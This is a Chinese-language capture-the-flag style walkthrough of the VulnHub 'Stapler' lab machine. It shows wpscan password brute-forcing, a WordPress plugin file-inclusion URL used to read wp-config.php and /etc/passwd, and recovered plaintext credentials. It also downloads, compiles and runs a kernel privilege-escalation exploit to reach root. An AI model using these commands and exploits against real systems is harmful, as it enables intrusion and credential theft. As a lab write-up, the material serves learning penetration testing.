靶机地址:https://www.vulnhub.com/entry/stapler-1,150/
靶机描述:Stapler is reported to be one of several vulnerable systems that are supposed to assist penetration testers with challenges similar to Offensive Security’s PWK coursework.
这个靶机打开的时候呢需要选择“我已移动此虚拟机
”否则可能打不开,或者导致网络错误
我们在端口扫描的时候,就能看到ftp是允许匿名登录的
除了80端口还有12380端口都是http服务
我们对第一个http服务,也就是80端口进行目录扫描
curl http://10.10.10.220/.profile
curl http://10.10.10.220/.bashrc
使用上面的命令可以看到这些内容(没有什么东西)
接下来我们使用ftp匿名登录有一个note笔记,把它get下来查看
┌──(root㉿kali)-[~]
└─# ftp 10.10.10.220
Connected to 10.10.10.220.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220
Name (10.10.10.220:kali): ftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
550 Permission denied.
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 107 Jun 03 2016 note
226 Directory send OK.
ftp> cd note
550 Failed to change directory.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 107 Jun 03 2016 note
226 Directory send OK.
ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
100% |*********************| 107 1.03 MiB/s 00:00 ETA
226 Transfer complete.
107 bytes received in 00:00 (110.69 KiB/s)
ftp> exit
221 Goodbye.
┌──(root㉿kali)-[~]
└─# cat note # 查看note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
翻译结果如下
没有找到有用的信息,我们来到12380端口的web,他报了一个400,使用目录扫描的时候也不正常
我们增加一个https试试
随后进行目录扫描
dirsearch -u https://10.10.10.220:12380/
包含了一个robots.txt还有phpmyadmin,但是我们不知道账号密码
在phpmyadmin登录这里有一个“帮助”按钮
点进去就有了phpmyadmin的版本信息
这样子找找phpmyadmin的nday(利用过几个之后也没什么作用)
我们打开目录扫描出来的robobts.txt,包含了两个目录,一个是后台界面的目录,一个是博客地址
访问后台,缺弹出了一个框,看这个样子应该是被别人黑过,留下了一个xssbeef的payload
使用whatweb识别cms是属于wordpress站点
whatweb https://10.10.10.220:12380/blogblog/
利用wordpress渗透工具wpscan,枚举可能存在的用户并使用这些用户名对后台进行爆破,使用kali中的seclists
字典
wpscan --url https://10.10.10.220:12380/blogblog/ -e u -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt
爆破成功后应该会显示这四组账号密码
wpscan --url https://10.10.10.220:12380/blogblog/ -e u -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt --disable-tls-checks
garry:football
harry:monkey
scott:cookie
tim:thumb
登录后台
第一篇文章
第二篇文章,还有第三篇文章,都没有什么用
我们访问wordpress插件的目录(dirb,dirsearch都能扫出来)可以看到有三个插件
来看第一个插件,他会有一个readme.txt版本是1.0
在这里我们搜索这个插件的漏洞,额外找到了突破点
我们尝试运行这个exp,报了一些错误,显示的是Connection refused
即连接被拒绝
我们查看一下他的源码
我们修改这个内容
sed -i 's|http://127.0.0.1/wordpress|https://10.10.10.220:12380/blogblog|g' 39646.py
在这里解释一下sed命令,平时我也不怎么用,-i参数表示的是直接修改这个文件,由于url中包含了很多个/
所以就换了个符号|
进行分割,不然也可以使用/
,s表示替换命令,最后面那个g表示全局替换,使用示例
sed -i 's/原内容/新内容/g' # / 写法
sed -i 's|原内容|新内容|g' # | 写法
此时我们就已经把想要替换掉的内容直接替换掉了
此时又出现了一个问题,ssl错误,我们的靶机站点ssl错误了,不清楚怎么修改代码不要紧,我们使用他提供的poc手工打(这个漏洞脚本中有)
下面这个poc是一个文件包含漏洞
https://10.10.10.220:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php
访问的时候出现了一个url,但是没有出现wp-config.php的文件内容
https://10.10.10.220:12380/blogblog/?p=1180
访问这个地址,显示了一个页面不存在的样子
随后我找了半天,尝试了各种操作,在uploads中找到了不知不觉新增了几张图片
https://10.10.10.220:12380/blogblog/wp-content/uploads/
我访问其中一张图片的时候发现了数据库的密码 root : plbkac ,原来访问了那个文件包含的poc,在这里会生成几张图片,二这个图片的内容就是你包含的文件的内容!
curl -k https://10.10.10.220:12380/blogblog/wp-content/uploads/2145541298.jpeg
我们登录数据库,目标id为1的john
解密 incorrect
https://www.somd5.com/
使用数据库密码和其他用户试试(同样使用文件包含漏洞,获取 /etc/passwd
文件内容),下面是可能的用户
┌──(root㉿kali)-[/data/demo]
└─# cat user.txt
sync
peter
RNunemaker
ETollefson
DSwanger
AParnell
SHayslett
MBassin
JBare
LSolum
MFrei
SStroud
CCeaser
JKanode
CJoo
JLipps
jamie
Sam
Drew
jess
SHAY
Taylor
mel
kai
zoe
NATHAN
www
elly
使用这些用户,还有数据库的密码,进行爆破(猜测数据库密码是其中任意一个用户的名字)
使用ssh进行登录
使用featherscan,进行linux信息收集
git clone https://github.com/baibaixiaoyu2024/FeatherScan.git
cd FeatherScan/FeatherScan_v4_5_/
chmod +x FeatherScan_v4_5
./FeatherScan_v4_5
发现了如下漏洞信息,如果仔细辨别名称的话,这个系统版本都不属于这些漏洞范围
挑选了最可能存在的一个内核exp。提权失败了
当然不能局限于这些内核漏洞,毕竟工具不能代替人工,随后找到了这个exp
最后面有一个exp,我们去下载
zoe@red:/tmp$ wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
zoe@red:/tmp$ ls
39772.zip FeatherScan searchsploit_commands_21765.sh vmware-root
zoe@red:/tmp$ unzip 39772.zip
Archive: 39772.zip
creating: 39772/
inflating: 39772/.DS_Store
creating: __MACOSX/
creating: __MACOSX/39772/
inflating: __MACOSX/39772/._.DS_Store
inflating: 39772/crasher.tar
inflating: __MACOSX/39772/._crasher.tar
inflating: 39772/exploit.tar
inflating: __MACOSX/39772/._exploit.tar
zoe@red:/tmp$ ls
39772 39772.zip FeatherScan __MACOSX searchsploit_commands_21765.sh vmware-root
zoe@red:/tmp$ cd 39772
zoe@red:/tmp/39772$ ls
crasher.tar exploit.tar
zoe@red:/tmp/39772$ tar -xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
zoe@red:/tmp/39772$ ls
crasher.tar ebpf_mapfd_doubleput_exploit exploit.tar
zoe@red:/tmp/39772$ cd e
ebpf_mapfd_doubleput_exploit/ exploit.tar
zoe@red:/tmp/39772$ cd ebpf_mapfd_doubleput_exploit/
zoe@red:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
compile.sh doubleput.c hello.c suidhelper.c
zoe@red:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./compile.sh
doubleput.c: In function ‘make_setuid’:
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.insns = (__aligned_u64) insns,
^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.license = (__aligned_u64)"" # 这里报错不要紧,不影响脚本正常编译
^
zoe@red:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
compile.sh doubleput doubleput.c hello hello.c suidhelper suidhelper.c
zoe@red:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
whoami
suid file detected, launching rootshell...
we have root privs now...
root@red:/tmp/39772/ebpf_mapfd_doubleput_exploit# whoami
root
至此提权成功!
其他思路,在home下面发现了一个sudo用户peter,而且能够使用sudo
查看历史命令,发现了另外两个用户的密码,其中包含了peter!能使用sudo!那么思路不就来了
sshpass -p thisimypassword ssh JKanode@localhost
sshpass -p JZQuyIN5 peter@localhost
有了密码,使用sudo的时候发现sudo权限是all,那我们就能直接提权 sudo -i
至此两种方法提权成功。感谢阅读至此的你,致敬~
全网低价证书找我 + baibaixiaoyu2024
包括且不限于cisp,cisp-pte,pts,cissp,cisp-ire,cisa,oscp,osep等等
往期推荐
新版BurpSuite v2025.6.3汉化版,附激活教程
FeatherScan v4.0 – 一款Linux内网全自动信息收集工具
近400个渗透测试常用命令,信息收集、web、内网、隐藏通信、域渗透等等
内网渗透必备,microsocks,一个轻量级的socks代理工具
红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路
【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏
【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!
【oscp】vulnerable_docker,三种代理方法打入内网
【内网渗透】CobaltStrike与MSF联动互相上线的方式
内网渗透必备,microsocks,一个轻量级的socks代理工具
【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!
DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程
红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路
红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学
不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学
ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略
本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
暂无评论内容